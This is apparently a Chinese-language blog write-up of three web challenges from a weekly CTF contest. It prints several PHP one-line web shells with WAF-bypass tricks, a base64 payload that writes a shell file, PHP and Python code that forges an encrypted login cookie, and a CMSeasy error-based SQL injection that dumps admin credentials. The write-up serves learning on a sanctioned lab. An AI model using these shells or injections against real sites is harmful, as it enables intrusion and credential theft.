上周玩了“百度杯”CTF夺旗大赛,题目主要是三道web题目,以后每个周末都会有这样的BCTF的比赛,周末再也不会无聊了。总体来说,第一周的3道web题目还是有一定的难度的,主要是考察的技巧性和技术性方面的东西,题目的质量还是可以的。最终我做出了2道题目,最后我参考别人的writeup和我自己的思考写出了这篇文章。
Upload
确定过滤规则
通过上传测试,发现上传时对php
和开头<?
都进行了过滤,无法简单地上传一句话木马来解决问题。
通过PHP标记的SCRIPT风格可以避免这个问题。即使用类似的语句1
<script langauge='php'>phpinfo();</script>
但是上传之后发现将phpinfo()中的php进行了过滤,无法执行。
找到过滤方法
既然知道了过滤规则,那么我就尝试使用最常见的php一句话木马进行上传。1
<script langauge='php'>@eval($_POST["a"])</script>
发现被WAF拦截。
接下来看到了那些强悍的PHP一句话后门。使用1
2
3
4
5<script langauge='php'>
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
</script>
虽然可以成功上传,但是却无法使用。
接下来又使用1
<?php $_GET[a]($_GET[b]);?>
利用方法1
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
上面这条语句的实际是:1
?a=assert&b={fputs(fopen(base64_decode(),w),base64_decode(<?php @eval($_POST[c]); ?>1))}
执行之后会生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马。
最后虽然可以成功上传,但是在使用利用语句的时候还是被WAF拦截,我猜测是因为在其中存在了一个fputs()和fopen()的方法。
payload
后来经过多次尝试,使用如下的语句可以绕过WAF1
<script language='PHP'>$a=str_rot13('nffreg');$a($_POST['x']);</script>
绕过WAF之后,使用scandir("..")
可以发现存在flag.php
文件。
然后使用file_get_contents
读取文件的内容。
最后查看网页源代码就可以得到flag了。
其他方法
最后看了一下别人的writeup,又学习到了一招。别人最终的writeup是1
<script language='pHp'>system($_GET[a]);</script>
传上去之后使用?a=cat%20../flag.php
就完成了。
这种方法确实是巧妙,我之前完全没有见过。
code
文件读取漏洞
访问之后题目得到题目的URL是http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/index.php?jpg=hei.jpg
。感觉是一个文件读取的漏洞,尝试读取index.php的内容。
使用http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/index.php?jpg=index.php
,可以得到index.php的base64编码格式文件。decode之后,得到1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
最上面有开发的信息,是使用phpstorm来开发的。(这一点也是别人提示我之后才发现的)那么尝试读取.idea
总的workspace.xml
的内容,因为在workspace.xml中包含了当前项目下所有的php文件。
访问如下的url。http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/.idea/workspace.xml
在其中发现fl3g_ichuqiu.php
,可能与flag有关。
通过同样的方式读取fl3g_ichuqiu.php
的内容。但是根据index.php的代码,index.php会将config替换为_。那么最后的ur为http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php
。decode之后,得到fl3g_ichuqiu.php源代码为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "â®(â¯â½â°)â";
}
解密POC
根据fl3g_ichuqiu.php写出最后的解密代码。如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42<?php
function decrypt($encrypttext) {
$txt="guest";
$tmp="";
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$encrypttext = base64_decode($encrypttext);
$rnd = substr($encrypttext,0,4);
$ttmp = substr($encrypttext,4);
$key="";
for($i=0;$i<strlen($tmp);$i++) {
$key.=$ttmp[$i] ^ $tmp[$i];
}
$tmp="";
$txt = "system";
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$chars="0123456789abcdef";
$keys = array();
for($i=0;$i<strlen($chars);$i++) {
$keys[$i]=$key.$chars[$i];
}
$results=array();
$ttmps = array();
$txt2="";
for($i=0;$i<16;$i++){
$key = $keys[$i];
for($j=0;$j<strlen($txt);$j++){
$txt2 .= $txt[$j] ^ $key[$j];
}
$result = base64_encode($rnd.$txt2);
var_dump($result);
$txt2='';
}
}
decrypt(user的cookie值);
?>
接下来就访问http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/fl3g_ichuqiu.php
得到其中的cookie值。
然后作为解密程序的程序传入,得到16个字符串。其中一个就是system
的cookie值,然后使用burpsuite进行测试,就可以得到结果。
其他方法
看了别人的方法,我发现又存在更简单的方法了。因为在使用burp的时候,我还遇到了一点困难,就是不知道如何替换其中的cookie,后来也是挣扎了一下最终才成功的。但是别人最后直接使用的Python来完成的。
代码的逻辑和我的逻辑是一样的,只不过是在最后多了一个替换cookie发送请求的代码。以下就是我参考别人的代码写出来的。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40import base64
import requests
def decrpyt(cookie):
txt = "guest"
tmp = ""
for char in txt:
tmp += chr(ord(char)+10)
data = base64.b64decode(cookie).decode('utf-8')
rnd = data[:4]
print(rnd)
ttmp = data[4:]
key = ""
#得到key前面5位
for index in range(len(tmp)):
key += chr(ord(tmp[index])^ord(ttmp[index]))
tmp=""
txt = "system"
for char in txt:
tmp += chr(ord(char)+10)
print(len(tmp))
print(ord(tmp[1]))
chars = "0123456789abcdef"
for i in range(16):
#得到6位数的key
new_key = key+chars[i]
system_cookie=""
for j in range(6):
system_cookie += chr(ord(new_key[j])^ord(tmp[j]))
result = base64.b64encode((rnd+system_cookie).encode('utf-8')).decode('utf-8')
print(result)
cookie = {"user":result}
url = 'http://765a8dec3c454edd8418e0d099886bebf7efa2dd059945d6.game.ichunqiu.com/fl3g_ichuqiu.php'
response = requests.get(url,cookies=cookie)
print(response.content.decode('utf-8'))
decrpyt("cWhONEFKDRxI")
上面的这段python代码是在python3.x下面写的。
YseserCMS
判断cms类型
这道题目我最后并没有做出来,思路也就没有什么好分享了啦,接下来的主要就是看着别人的writeup来写了。
首先扫描目录发现存在一个robots.txt,发现根目录下存在flag.php。那么最后就是要读取flag.php里面的内容了。
接着看网站的评论处的图片信息,就会发现是一个cmseasy。
找到注入点
去wooyun的镜像网站上面找到了一处cmseasy的注入漏洞。
访问如下的url,http://a2d0ecce4cad448987a6b11bcd691749a34acc69368048e9.game.ichunqiu.com/celive/live/header.php
POST的数据是xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
实际上POST的数据经过urldecode和base64decode之后得到的结果实际的数据是xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
那么通过实际的发送的数据,我们可以知道这是一个sql的报错注入。最后返回的数据是如下图。
但是发现updatexml并不能完全将admin的密码爆出来,修改mid参数中的1,32为32,64然后的得到admin的密码为ff512d4240cbbdeafada40467ccbe61
。这是md5进行加密的。解密出来得到密码是Yeser231
。
找到文件读取漏洞
登陆到后台之后,在模板/当前模板出存在文件读取的漏洞,使用burp修改其中的参数为flag.php就可以读取到flag了。如下:
总结
以上就是BCTF第一周的三道题目的writeup。总体来说题目质量还不错,也学习了很多,比如php的标签方法,php一句话木马的写法,phpstorm的配置文件导致的信息泄露,以及报错注入的写法。需要学习和总结的东西还有很多呀,也欢迎喜欢玩CTF的同学们来一起交流学习。